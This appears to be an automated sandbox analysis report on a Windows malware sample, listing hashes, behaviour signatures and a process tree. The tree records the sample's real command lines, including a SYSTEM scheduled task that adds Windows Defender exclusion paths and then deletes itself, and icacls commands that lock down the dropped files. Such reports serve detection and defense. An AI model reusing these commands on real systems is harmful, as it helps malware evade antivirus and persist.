Analysis
- max time kernel
150s - max time network
161s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
13/06/2026, 11:31
Static task
static1
Behavioral task
behavioral1
Sample
zgent63392010.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
zgent63392010.exe
Resource
win11-20260513-en
General
- Target zgent63392010.exe
- Size 76.4MB
- Sample260613-nmqppafs3x
- SHA256 542ed599e59e79c0cc6d6add506b993f00b0bd818bc4d4efb86cf0a4d32a4417
- MD5 16415a64ab44a25855ef2d392e00f99b
- SHA1 ebcde2411fbf4900b5c8a0a0a24e4c3526dbb168
- SHA512 90914193f313f41f795b8025477c01fffaf4de5c0d4fe69a2dda4a7504cfda1140260e0d6308c8c0019fa969969c9781ec2189cbe58af1052ed02814503d4034
- SSDEEP 196608:OXist7QZseYzNT+U/wQnkSTD3t/76qTImCbfdxABI:o7tHkUz3vt/7F4SBI
- TLSH T19408074AFB41CE92F9029531E46697A06372DC329A61C713329A3F1A7F7F3A48DF1494
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" pekyce.exe - Windows security bypass 2 TTPs 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\pekyce = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\zhbHsX = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3500 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts pekyce.exe - Modifies RDP port number used by Windows 1 TTPs
- Possible privilege escalation attempt 38 IoCs
pid Process 3540 icacls.exe 3036 icacls.exe 2916 icacls.exe 4948 icacls.exe 1656 icacls.exe 908 icacls.exe 3020 icacls.exe 4392 icacls.exe 1996 icacls.exe 3192 icacls.exe 4616 icacls.exe 4688 icacls.exe 1812 icacls.exe 4972 icacls.exe 3956 icacls.exe 572 icacls.exe 4160 icacls.exe 4584 icacls.exe 4712 icacls.exe 4824 icacls.exe 3496 icacls.exe 3020 takeown.exe 4552 icacls.exe 4556 icacls.exe 4832 icacls.exe 3120 icacls.exe 2444 icacls.exe 3812 icacls.exe 1188 takeown.exe 2796 icacls.exe 460 icacls.exe 4856 icacls.exe 1444 icacls.exe 4376 icacls.exe 4156 icacls.exe 3096 icacls.exe 4976 icacls.exe 2256 icacls.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 5 IoCs
pid Process 3580 HfzoXo.exe 4456 HfzoXo.exe 464 pekyce.exe 4844 pekyce.exe 4792 v0ItH5O3e.exe - Loads dropped DLL 4 IoCs
pid Process 3580 HfzoXo.exe 464 pekyce.exe 4844 pekyce.exe 4792 v0ItH5O3e.exe - Modifies file permissions 1 TTPs 38 IoCs
pid Process 4856 icacls.exe 1444 icacls.exe 4976 icacls.exe 3020 icacls.exe 3036 icacls.exe 1812 icacls.exe 4824 icacls.exe 572 icacls.exe 1188 takeown.exe 4156 icacls.exe 3540 icacls.exe 4556 icacls.exe 4392 icacls.exe 2796 icacls.exe 2256 icacls.exe 2916 icacls.exe 4948 icacls.exe 4376 icacls.exe 3956 icacls.exe 3192 icacls.exe 3020 takeown.exe 4688 icacls.exe 908 icacls.exe 3496 icacls.exe 4552 icacls.exe 4832 icacls.exe 3120 icacls.exe 4616 icacls.exe 3812 icacls.exe 4712 icacls.exe 4972 icacls.exe 460 icacls.exe 4160 icacls.exe 1996 icacls.exe 1656 icacls.exe 4584 icacls.exe 3096 icacls.exe 2444 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\zhbHsX\\HfzoXo.exe\"" HfzoXo.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\pekyce\\pekyce.exe\"" pekyce.exe - Indicator Removal: Clear Persistence 1 TTPs 10 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1664 cmd.exe 5048 cmd.exe 3888 cmd.exe 4548 cmd.exe 1200 cmd.exe 3520 cmd.exe 2140 cmd.exe 2508 cmd.exe 4972 cmd.exe 1976 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b HfzoXo.exe - Drops file in Program Files directory 18 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\pekyce\XPSPLOG.dll HfzoXo.exe File opened for modification C:\Program Files (x86)\pekyce HfzoXo.exe File created C:\Program Files (x86)\pekyce\pekyce.exe HfzoXo.exe File opened for modification C:\Program Files (x86)\3cP76TL1\XPSPLOG.dll pekyce.exe File created C:\Program Files (x86)\3cP76TL1\image.png pekyce.exe File opened for modification C:\Program Files (x86)\3cP76TL1\image.png pekyce.exe File created C:\Program Files (x86)\3cP76TL1\v0ItH5O3e.exe pekyce.exe File created C:\Program Files (x86)\pekyce\XPSPLOG.dll HfzoXo.exe File created C:\Program Files (x86)\pekyce\thumbs.db HfzoXo.exe File opened for modification C:\Program Files (x86)\pekyce\pekyce.exe HfzoXo.exe File opened for modification C:\Program Files (x86)\pekyce\image.png HfzoXo.exe File opened for modification C:\Program Files (x86)\pekyce\thumbs.db HfzoXo.exe File opened for modification C:\Program Files (x86)\3cP76TL1\v0ItH5O3e.exe pekyce.exe File opened for modification C:\Program Files (x86)\3cP76TL1 pekyce.exe File created C:\Program Files (x86)\3cP76TL1\thumbs.db pekyce.exe File opened for modification C:\Program Files (x86)\3cP76TL1\thumbs.db pekyce.exe File created C:\Program Files (x86)\3cP76TL1\XPSPLOG.dll pekyce.exe File created C:\Program Files (x86)\pekyce\image.png HfzoXo.exe - Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 984 sc.exe 4672 sc.exe 4548 sc.exe 3496 sc.exe 2948 sc.exe 1032 sc.exe 1920 sc.exe 2396 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Screensaver 1 TTPs 3 IoCs
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\ScreenSaveActive = "0" pekyce.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" pekyce.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\SCRNSAVE.EXE pekyce.exe - System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language v0ItH5O3e.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pekyce.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 pekyce.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz pekyce.exe - Modifies Control Panel 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\ScreenSaveActive = "0" pekyce.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" pekyce.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0" pekyce.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\SCRNSAVE.EXE pekyce.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ HfzoXo.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 676 schtasks.exe 1136 schtasks.exe 2416 schtasks.exe 3872 schtasks.exe 4480 schtasks.exe 3776 schtasks.exe 4452 schtasks.exe 4460 schtasks.exe 4136 schtasks.exe 652 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 2128 zgent63392010.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe 3580 HfzoXo.exe - Suspicious behavior: LoadsDriver 4 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3580 HfzoXo.exe Token: SeTakeOwnershipPrivilege 1188 takeown.exe Token: SeRestorePrivilege 2796 icacls.exe Token: SeTakeOwnershipPrivilege 3020 takeown.exe Token: SeRestorePrivilege 2256 icacls.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeIncreaseQuotaPrivilege 3500 powershell.exe Token: SeSecurityPrivilege 3500 powershell.exe Token: SeTakeOwnershipPrivilege 3500 powershell.exe Token: SeLoadDriverPrivilege 3500 powershell.exe Token: SeSystemProfilePrivilege 3500 powershell.exe Token: SeSystemtimePrivilege 3500 powershell.exe Token: SeProfSingleProcessPrivilege 3500 powershell.exe Token: SeIncBasePriorityPrivilege 3500 powershell.exe Token: SeCreatePagefilePrivilege 3500 powershell.exe Token: SeBackupPrivilege 3500 powershell.exe Token: SeRestorePrivilege 3500 powershell.exe Token: SeShutdownPrivilege 3500 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeSystemEnvironmentPrivilege 3500 powershell.exe Token: SeRemoteShutdownPrivilege 3500 powershell.exe Token: SeUndockPrivilege 3500 powershell.exe Token: SeManageVolumePrivilege 3500 powershell.exe Token: 33 3500 powershell.exe Token: 34 3500 powershell.exe Token: 35 3500 powershell.exe Token: 36 3500 powershell.exe Token: SeIncreaseQuotaPrivilege 3500 powershell.exe Token: SeSecurityPrivilege 3500 powershell.exe Token: SeTakeOwnershipPrivilege 3500 powershell.exe Token: SeLoadDriverPrivilege 3500 powershell.exe Token: SeSystemProfilePrivilege 3500 powershell.exe Token: SeSystemtimePrivilege 3500 powershell.exe Token: SeProfSingleProcessPrivilege 3500 powershell.exe Token: SeIncBasePriorityPrivilege 3500 powershell.exe Token: SeCreatePagefilePrivilege 3500 powershell.exe Token: SeBackupPrivilege 3500 powershell.exe Token: SeRestorePrivilege 3500 powershell.exe Token: SeShutdownPrivilege 3500 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeSystemEnvironmentPrivilege 3500 powershell.exe Token: SeRemoteShutdownPrivilege 3500 powershell.exe Token: SeUndockPrivilege 3500 powershell.exe Token: SeManageVolumePrivilege 3500 powershell.exe Token: 33 3500 powershell.exe Token: 34 3500 powershell.exe Token: 35 3500 powershell.exe Token: 36 3500 powershell.exe Token: SeIncreaseQuotaPrivilege 3500 powershell.exe Token: SeSecurityPrivilege 3500 powershell.exe Token: SeTakeOwnershipPrivilege 3500 powershell.exe Token: SeLoadDriverPrivilege 3500 powershell.exe Token: SeSystemProfilePrivilege 3500 powershell.exe Token: SeSystemtimePrivilege 3500 powershell.exe Token: SeProfSingleProcessPrivilege 3500 powershell.exe Token: SeIncBasePriorityPrivilege 3500 powershell.exe Token: SeCreatePagefilePrivilege 3500 powershell.exe Token: SeBackupPrivilege 3500 powershell.exe Token: SeRestorePrivilege 3500 powershell.exe Token: SeShutdownPrivilege 3500 powershell.exe Token: SeDebugPrivilege 3500 powershell.exe Token: SeSystemEnvironmentPrivilege 3500 powershell.exe Token: SeRemoteShutdownPrivilege 3500 powershell.exe Token: SeUndockPrivilege 3500 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3580 wrote to memory of 1244 3580 HfzoXo.exe 21 PID 3580 wrote to memory of 1244 3580 HfzoXo.exe 21 PID 3580 wrote to memory of 2772 3580 HfzoXo.exe 81 PID 3580 wrote to memory of 1664 3580 HfzoXo.exe 84 PID 2772 wrote to memory of 1996 2772 cmd.exe 86 PID 1664 wrote to memory of 4452 1664 cmd.exe 88 PID 3580 wrote to memory of 1688 3580 HfzoXo.exe 89 PID 1688 wrote to memory of 3496 1688 cmd.exe 91 PID 1664 wrote to memory of 2712 1664 cmd.exe 92 PID 3580 wrote to memory of 3156 3580 HfzoXo.exe 94 PID 3156 wrote to memory of 2444 3156 cmd.exe 96 PID 1664 wrote to memory of 1760 1664 cmd.exe 97 PID 3580 wrote to memory of 1376 3580 HfzoXo.exe 24 PID 3580 wrote to memory of 1376 3580 HfzoXo.exe 24 PID 3580 wrote to memory of 4432 3580 HfzoXo.exe 99 PID 4432 wrote to memory of 4856 4432 cmd.exe 102 PID 3580 wrote to memory of 4052 3580 HfzoXo.exe 104 PID 4852 wrote to memory of 3044 4852 cmd.exe 106 PID 4052 wrote to memory of 4948 4052 cmd.exe 107 PID 3580 wrote to memory of 1200 3580 HfzoXo.exe 108 PID 1200 wrote to memory of 652 1200 cmd.exe 110 PID 3580 wrote to memory of 1536 3580 HfzoXo.exe 111 PID 1536 wrote to memory of 3812 1536 cmd.exe 113 PID 1200 wrote to memory of 4448 1200 cmd.exe 114 PID 3580 wrote to memory of 4956 3580 HfzoXo.exe 116 PID 1200 wrote to memory of 3920 1200 cmd.exe 118 PID 4956 wrote to memory of 1656 4956 cmd.exe 119 PID 3580 wrote to memory of 1644 3580 HfzoXo.exe 120 PID 1644 wrote to memory of 4712 1644 cmd.exe 123 PID 3580 wrote to memory of 1564 3580 HfzoXo.exe 26 PID 3580 wrote to memory of 1564 3580 HfzoXo.exe 26 PID 3580 wrote to memory of 4612 3580 HfzoXo.exe 124 PID 388 wrote to memory of 1520 388 cmd.exe 126 PID 4612 wrote to memory of 1444 4612 cmd.exe 127 PID 3580 wrote to memory of 2576 3580 HfzoXo.exe 128 PID 2576 wrote to memory of 1812 2576 cmd.exe 130 PID 3580 wrote to memory of 3520 3580 HfzoXo.exe 131 PID 3520 wrote to memory of 676 3520 cmd.exe 133 PID 3580 wrote to memory of 1852 3580 HfzoXo.exe 134 PID 3520 wrote to memory of 5056 3520 cmd.exe 136 PID 1852 wrote to memory of 4976 1852 cmd.exe 137 PID 3520 wrote to memory of 3884 3520 cmd.exe 139 PID 3580 wrote to memory of 4264 3580 HfzoXo.exe 140 PID 4264 wrote to memory of 4824 4264 cmd.exe 142 PID 3580 wrote to memory of 3636 3580 HfzoXo.exe 143 PID 3636 wrote to memory of 3020 3636 cmd.exe 146 PID 2040 wrote to memory of 4688 2040 cmd.exe 147 PID 3580 wrote to memory of 1952 3580 HfzoXo.exe 31 PID 3580 wrote to memory of 1952 3580 HfzoXo.exe 31 PID 3580 wrote to memory of 1252 3580 HfzoXo.exe 148 PID 1252 wrote to memory of 572 1252 cmd.exe 150 PID 3580 wrote to memory of 1684 3580 HfzoXo.exe 151 PID 1684 wrote to memory of 4972 1684 cmd.exe 153 PID 3580 wrote to memory of 5048 3580 HfzoXo.exe 154 PID 5048 wrote to memory of 1136 5048 cmd.exe 156 PID 5048 wrote to memory of 3280 5048 cmd.exe 157 PID 4248 wrote to memory of 1448 4248 cmd.exe 160 PID 5048 wrote to memory of 3500 5048 cmd.exe 161 PID 3580 wrote to memory of 2140 3580 HfzoXo.exe 162 PID 2140 wrote to memory of 4460 2140 cmd.exe 164 PID 2140 wrote to memory of 460 2140 cmd.exe 165 PID 4420 wrote to memory of 1100 4420 cmd.exe 168 PID 2140 wrote to memory of 4368 2140 cmd.exe 169 PID 3580 wrote to memory of 464 3580 HfzoXo.exe 170 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" pekyce.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1244
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C:\Users\Public\zhbHsX\HfzoXo.exeC:\Users\Public\zhbHsX\HfzoXo.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX" /inheritance:r3⤵
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zhbHsX\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zhbHsX\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:4452
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:2712
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:1760
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3496
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2444
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\HfzoXo.exe" /inheritance:r3⤵
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\HfzoXo.exe" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4856
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\HfzoXo.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\HfzoXo.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4948
